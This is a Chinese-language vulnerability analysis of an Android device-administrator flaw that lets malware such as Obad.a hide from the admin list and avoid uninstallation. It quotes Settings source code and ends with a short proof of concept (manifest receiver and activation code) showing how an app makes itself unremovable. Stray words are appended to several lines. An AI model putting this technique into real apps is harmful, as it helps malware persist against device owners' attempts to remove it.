1、漏洞描述java
目前被稱爲「史上最強Android木馬」的病毒Backdoor.AndroidOS.Obad.a利用Android設備管理器漏洞使用戶沒法經過正常方式卸載。其實該漏洞早在去年末已被發現。(http://safe.ijiami.cn/)android
註冊爲「設備管理器」的應用是沒法被直接卸載的。只有取消激活「設備管理器」後才能夠直接卸載。app
木馬能夠利用Android設備管理器漏洞達到在設備管理器列表「隱身」的效果。這樣用戶就沒法進去「取消激活」頁面,從而達到沒法卸載的目的。ide
2、影響版本
Android2.2以上(4.0,4.1,4.2)
this
3、漏洞原理spa
首先咱們來看一下Settings app如何造成設備管理器列表的:orm
相關類:xml
packages\apps\settings\src\com\android\settings\DeviceAdminSettings.java
ip
public class DeviceAdminSettings extends ListFragment {
DevicePolicyManager mDPM;
final HashSet<ComponentName> mActiveAdmins = new HashSet<ComponentName>();
final ArrayList<DeviceAdminInfo> mAvailableAdmins = new ArrayList<DeviceAdminInfo>();
@Override
public void onResume() {
super.onResume();
updateList();
}
void updateList() {
mActiveAdmins.clear();
List<ComponentName> cur = mDPM.getActiveAdmins();
if (cur != null) {
for (int i=0; i<cur.size(); i++) {
mActiveAdmins.add(cur.get(i));
}
}
mAvailableAdmins.clear();
List<ResolveInfo> avail = getActivity().getPackageManager().queryBroadcastReceivers(
new Intent(DeviceAdminReceiver.ACTION_DEVICE_ADMIN_ENABLED),
PackageManager.GET_META_DATA);//經過查詢廣播」android.app.action.DEVICE_ADMIN_ENABLED「來獲得可用的設 //備管理器程序列表
int count = avail == null ? 0 : avail.size();
for (int i=0; i<count; i++) {
ResolveInfo ri = avail.get(i);
try {
DeviceAdminInfo dpi = new DeviceAdminInfo(getActivity(), ri);
if (dpi.isVisible() || mActiveAdmins.contains(dpi.getComponent())) {
mAvailableAdmins.add(dpi);
}
//若是應用已激活設備管理器&&註冊了」android.app.action.DEVICE_ADMIN_ENABLED「就出如今可用設備管理器列表
} catch (XmlPullParserException e) {
Log.w(TAG, "Skipping " + ri.activityInfo, e);
} catch (IOException e) {
Log.w(TAG, "Skipping " + ri.activityInfo, e);
}
}
getListView().setAdapter(new PolicyListAdapter());
}
.......
class PolicyListAdapter extends BaseAdapter {
.......ci
public void bindView(View view, int position) {
final Activity activity = getActivity();
ViewHolder vh = (ViewHolder) view.getTag();
DeviceAdminInfo item = mAvailableAdmins.get(position);//顯示mAvailableAdmins中數據
vh.icon.setImageDrawable(item.loadIcon(activity.getPackageManager()));
vh.name.setText(item.loadLabel(activity.getPackageManager()));
vh.checkbox.setChecked(mActiveAdmins.contains(item.getComponent()));
try {
vh.description.setText(item.loadDescription(activity.getPackageManager()));
} catch (Resources.NotFoundException e) {
}
}
}
}
由Android Settings App源代碼能夠看出,若是想在設備管理器列表中」隱身「,只要不註冊」android.app.action.DEVICE_ADMIN_ENABLED「廣播就行。
4、POC代碼
AndroidMainfest.xml文件註冊組件:
<receiver Android:name=".deviceAdminReceiver" android:label="@string/app_name"
Android:description="@string/description" android:permission="android.permission.BIND_DEVICE_ADMIN">
<meta-data Android:name="android.app.device_admin"
Android:resource="@xml/device_admin" />
</receiver>
java代碼註冊激活設備管理器:
Intent intent = new Intent( DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);ComponentName mDeviceComponentName = new ComponentName("packagename","packagename.deviceAdminReceiver"); intent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mDeviceComponentName);this.startActivity(intent,0);